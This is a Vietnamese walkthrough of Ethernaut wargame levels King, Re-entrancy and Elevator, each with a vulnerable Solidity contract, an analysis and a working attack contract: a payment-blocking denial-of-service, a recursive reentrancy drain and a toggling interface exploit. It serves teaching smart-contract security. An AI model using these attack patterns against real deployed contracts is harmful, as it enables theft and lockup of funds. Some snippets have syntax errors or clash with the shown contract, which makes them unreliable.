Update 2022 Feb: Bài viết đã được update để phù hợp với ethernaut & solidity version mới.
9. King
Nhiệm vụ: Đây là một trò chơi, trong đó người nào muốn trở thành king (nhà vua) thì sẽ phải trả giá cho người đang nắm giữ vị trí ấy một khoản tiền cao hơn giá trị của nhà vua hiện tại. Nhiệm vụ của bạn là bằng cách nào đó, trở thành king và giữ vị trí này mãi mãi, dù người khác có trả mức giá nào đi nữa
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
Phân tích
- Để trở thành vua, ta phải gửi tiền cho nhà vua hiện tại. Theo đó, nếu như ta đang làm vua, và bằng cách nào đó, ta từ chối mọi giao dịch chuyển tiền đến ta, thì ta sẽ giữ vị trí đó mãi mãi. Vấn đề ở đây là ta làm sao có thể “từ chối mọi giao dịch” ? Đó là lúc ta cần biết đến
payable
trong solidity. - Để một contract có thể nhận được tiền, trừ trường hợp được nhận tiền từ
selfdestruct
của một contract khác, thì cách duy nhất đó chính là có fallback function vớipayable
modifier. Nếu không cópayable
, contract không thể nhận dù chỉ một đồng. - Cùng nhìn lại hàm fallback function của King contract:
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}
- Ta nảy ra ý tưởng làm cho hàm
king.transfer(msg.value)
không thành công và transaction bị revert. - Chuẩn bị một contract không có
payable
fallback, chiếm quyền và thế là xong.
Solution
- Trên Chrome Console, kiểm tra king hiện tại:
await contract.king();
- Kiểm tra price hiện tại:
await contract.prize().then(x => x.toNumber);
> 1000000000000000000
nghĩa là giải thưởng hiện tại là 1 ether
- Trên Remix IDE, chuẩn bị một contract tấn công không có
payable fallback
contract Attack {
function steal(address _target) public payable {
if(!_target.call.{value: msg.value}()) revert();
}
}
-
mình sẽ giải thích thêm một chút về đoạn
if(!_target.call.{value: msg.value}()) revert();
, có vẻ trông đoạn này hơi lạ nhưng có lý do của nó:- để gửi eth đến một địa chỉ, chúng ta có 3 cách:
transfer
,send
,call
. Trong đó thì transfer và send được fixed số gas limit là 2300, quá là thấp, có nghĩa transfer và send chỉ thuần tuý là để chuyển eth mà không thể thực hiện thêm bất cứ logic nào trong fallback function cả. call
là một hàm lowlevel, không giới hạn số gas limit, tuy nhiên sẽ trả về kết quả true/false thay vì throw ra một exception, vì thế ta cần đưa vào đoạn if-revert để biết được nó có lỗi hay không.
- để gửi eth đến một địa chỉ, chúng ta có 3 cách:
-
Compile và chạy hàm steal,
_target
là target của instance của bạn,msg.value
ta cho một giá trị lớn hơn prize hiện tại, ví dụ 1.1 ether (1100 finneys). -
Kiểm tra lại king hiện tại và thấy đang là bạn:
await contract.king();
-
Sử dụng một tài khoản khác, gửi tiền vào King contract với một giá trị lớn hơn prize hiện tại để xem có chiếm được quyền King hay không. Nếu không chiếm được, bạn đã thành công.
-
Submit && all done!
10. Re-entrancy
Nhiệm vụ: Rút hết tiền khỏi smart contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
Phân tích
- Việc sử dụng các hàm low-level luôn tiềm ẩn nguy cơ xảy ra lỗi. Trong trường hợp này cũng không ngoại lệ, đó là hàm
call
. - Để chuyển tiền, ta có 3 hàm:
transfer
,send
vàcall
. Giờ đây người ta khuyên chỉ nên dùng transfer và tránh hai hàm còn lại. Một cách hiểu đơn giản:transfer
sẽ revert lại giao dịch một khi xảy ra lỗi.send
chỉ trả vềfalse
khi xảy ra lỗi chứ không revert,call
cũng vậy; nhưng trong khisend
chỉ được tiêu có 2300 gas thìcall
được phép dùng bao giờ hết gas thì thôi. Đây chính là điểm để ta khai thác. - Khi rút tiền về địa chỉ của một contract thì
receive function
của contract đó sẽ được kích hoạt nếu không có data đi kèm. Sẽ ra sao nếu trongreceive
function ta gọi rút tiền một lần nữa, chẳng phải sẽ là đệ quy rút cho tới lúc hết sạch tiền hay sao ?
Solution
- Chuẩn bị contract tấn công, hãy thay địa chỉ
_target
bằng địa chỉ instance của bạn
contract Attack {
address target;
Reentrance re;
function Attack(address _target) {
target = _target;
re = Reentrance(target);
}
function attack() public payable {
re.withdraw(0.5 ether);
}
receive() external payable {
re.withdraw(0.5 ether);
}
}
-
Trên RemixIDE, load Reentrancy contract và complile cũng như run Attack contract
-
Tiến hành chạy hàm
donate()
để donate cho Attack contract 1 ether -
Chạy hàm
attack()
của Attack contract -
Trên Chrome console, kiểm tra lại balance của Reentrancy instance xem đã về 0 chưa
await getBalance(contract.address);
> 0
- Submit && all done!
Bình luận
- Đây là một tấn công có thể nói là kinh điển nhất của nền tảng ethereum cho tới thời điểm hiện tại. Bạn có thể đọc thêm về The DAO Hack
- Hãy sử dụng
transfer
thay vìcall
- Hãy luôn kiểm tra các điều kiện, fail càng sớm càng tốt
- Đọc thêm: https://blog.zeppelin.solutions/15-lines-of-code-that-could-have-prevented-thedao-hack-782499e00942
11. Elevator
Nhiệm vụ: Chiếc thang máy này ngăn cản bạn lên tầng trên cùng. Bằng cách nào đó hãy break the rule và leo lên đỉnh.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Phân tích
function isLastFloor(uint) external returns (bool);
là một hàm trả về bool mà không quy định là có được phép thay đổi storage hay không. Do đó ta có ý tưởng implement lưu trữ biến bool ở storage, trả vềfalse
ở lần gọi đầu, và thay đổi nó quatrue
ở lần gọi sau là thành công.
Solution
- Trên RemixIDE, chuẩn bị contract để tấn công, implement
Elevator interface
, nhớ thay địa chỉ_target
bằng địa chỉ instance của bạn:
contract ElevatorAttack {
bool public isLast = true;
function isLastFloor(uint) external returns (bool) {
isLast = ! isLast;
return isLast;
}
function attack(address _target) public {
Elevator elevator = Elevator(_target);
elevator.goTo(10);
}
}
- Theo trên, cứ tầng chẵn thì hàm sẽ trả về đó là top floor.
- Chạy hàm
attack()
- Trên Chrome Console, kiểm tra lại điều kiện
top
:
(await contract.top()) > true;
- Submit && all done!